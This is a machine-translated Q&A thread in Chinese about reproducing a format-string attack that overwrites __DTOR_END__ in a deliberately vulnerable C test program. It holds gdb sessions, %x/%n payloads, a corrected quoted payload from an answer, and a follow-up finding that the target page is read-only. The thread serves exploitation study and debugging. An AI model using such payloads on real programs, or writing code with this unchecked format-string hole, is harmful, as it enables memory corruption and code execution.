我正在尝试重复此link讨论的攻击,但我无法成功。目标是通过格式字符串漏洞覆盖符号__DTOR_END__
的值。
以下是我的尝试。脆弱的计划:
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char *argv[]) {
char buf[512];
if (argc < 2) { printf("%s\n","Failed"); return 1; }
snprintf(buf, sizeof(buf), argv[1]); // Vulnerable statement
buf[sizeof (buf) - 1] = '\x00';
return 0;
}
第1步:
$ gcc fmt.c -o fmt_g -g
第2步:
$ ltrace ./fmt_g 'AAAA.%9$x'
__libc_start_main(0x8048464, 2, 0xbffff404, 0x80484f0, 0x8048560 <unfinished ...>
snprintf("AAAA.41414141", 512, "AAAA.%9$x", 0x20) = 13
+++ exited (status 0) +++
$
这表明与0x41
对应的十六进制A
在9 %x
之后打印。
第3步:
$ nm fmt_g | grep DTOR
08049f20 D __DTOR_END__
08049f1c d __DTOR_LIST__
$
__ DTOR_END__的地址为0x08049f20
。
第4步:
$ gdb fmt_g
(gdb) disas main
...
0x080484bb <+87>: call 0x80483a0 <snprintf@plt>
...
(gdb) (gdb) break *main+87
Breakpoint 1 at 0x80484bb: file fmt_g.c, line 7.
(gdb) r $(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n
Starting program: fmt2_g $(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n
Breakpoint 1, 0x080484bb in main (argc=2, argv=0xbffff3a4) at fmt_g.c:7
7 snprintf(buf, sizeof(buf), argv[1]);
(gdb) x/10x 0x08049f20
0x8049f20 <__DTOR_END__>: 0x00000000 0x00000000 0x00000001 0x00000010
0x8049f30 <_DYNAMIC+8>: 0x0000000c 0x08048318 0x0000000d 0x0804859c
0x8049f40 <_DYNAMIC+24>: 0x6ffffef5 0x080481ac
(gdb) s
Program received signal SIGSEGV, Segmentation fault.
0xb7e66bcd in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb)
我得到了SIGSEGV。我在Linux机器上尝试这个,这是一个小端。 出于好奇,我试图以相反的方式使用地址:
(gdb) r $(printf "\x08\x04\x9f\x20AAAA")%x%x%x%x%x%x%x%x%n
Starting program: fmt2_g $(printf "\x08\x04\x9f\x20AAAA")%x%x%x%x%x%x%x%x%n
Breakpoint 1, 0x080484bb in main (argc=3, argv=0xbffff3a4) at fmt2_g.c:7
7 snprintf(buf, sizeof(buf), argv[1]);
(gdb) x/10x 0x08049f20
0x8049f20 <__DTOR_END__>: 0x00000000 0x00000000 0x00000001 0x00000010
0x8049f30 <_DYNAMIC+8>: 0x0000000c 0x08048318 0x0000000d 0x0804859c
0x8049f40 <_DYNAMIC+24>: 0x6ffffef5 0x080481ac
(gdb) s
8 buf[sizeof (buf) - 1] = '\x00';
(gdb) x/10x 0x08049f20
0x8049f20 <__DTOR_END__>: 0x00000000 0x00000000 0x00000001 0x00000010
0x8049f30 <_DYNAMIC+8>: 0x0000000c 0x08048318 0x0000000d 0x0804859c
0x8049f40 <_DYNAMIC+24>: 0x6ffffef5 0x080481ac
(gdb)
我不知道自己做错了什么。我的想法是我没有正确使用__ DTOR_END__
的地址。有人可以提供一些提示吗?
答案 0 :(得分:1)
问题其实非常简单:你的shell正在解释printf
的输出。 \x20
是一个空格字符,因此在第一个示例中,shell基本上剥离了空格并传递崩溃的\x9f\x04\x08AAAA%x%x...
(通过尝试写入地址0x4108049f)。在第二个示例中,您最终传递了两个参数\x08\x04\x9f
和AAAA%x%x...
;第一个论点并没有做任何有趣的事情,所以没有崩溃。
要修复,只需将整个参数括在引号中:r "$(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n"
。将来,这里有一些调试提示要记住(我经常使用):
disas
(或者,如果需要,x/i $pc
)将告诉您崩溃的指令,info reg
将向您显示寄存器;在一起,这将告诉你程序在崩溃时正在尝试做什么。例如,在第一种情况下,您应该看到mov
指令正在尝试写入某个寄存器定义的存储器地址,并且寄存器设置为0x4108049f。p argv[1]
以确保您获得正确的输入。通常很容易忽略嵌入的空格,NUL或高ASCII字符导致输入例程提前终止。答案 1 :(得分:0)
根据@ nneonneo的回答,我尝试了以下内容:
(gdb) b *main+87
Breakpoint 1 at 0x80484bb: file fmt2.c, line 11.
(gdb) r "$(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n"
Starting program: fmt2_g "$(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n"
Breakpoint 1, 0x080484bb in main (argc=2, argv=0xbffff3a4) at fmt2.c:11
11 snprintf(buf, sizeof(buf), argv[1]);
(gdb) s
Program received signal SIGSEGV, Segmentation fault.
0xb7e66bcd in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) info reg
eax 0x8049f20 134520608
ecx 0xbffff0fc -1073745668
edx 0xb7e64c1a -1209644006
ebx 0xb7fc4ff4 -1208201228
esp 0xbfffe9c0 0xbfffe9c0
ebp 0xbfffef78 0xbfffef78
esi 0xbfffefb0 -1073746000
edi 0x34 52
eip 0xb7e66bcd 0xb7e66bcd <vfprintf+16669>
eflags 0x210296 [ PF AF SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/i $pc
=> 0xb7e66bcd <vfprintf+16669>: mov %edi,(%eax)
(gdb)
对0x08049f20
的mov操作会导致SIGSEGV。我检查了proc的内存映射:
(gdb) info proc
process 6303
root@pc:/proc/6303# cat maps
08048000-08049000 r-xp 00000000 08:01 1720261 fmt2_g
08049000-0804a000 r--p 00000000 08:01 1720261 fmt2_g
0804a000-0804b000 rw-p 00001000 08:01 1720261 fmt2_g
地址08049f20
不可写。我想这就是SIGSEGV发生的原因。
我不知道它是否可以映射为可写。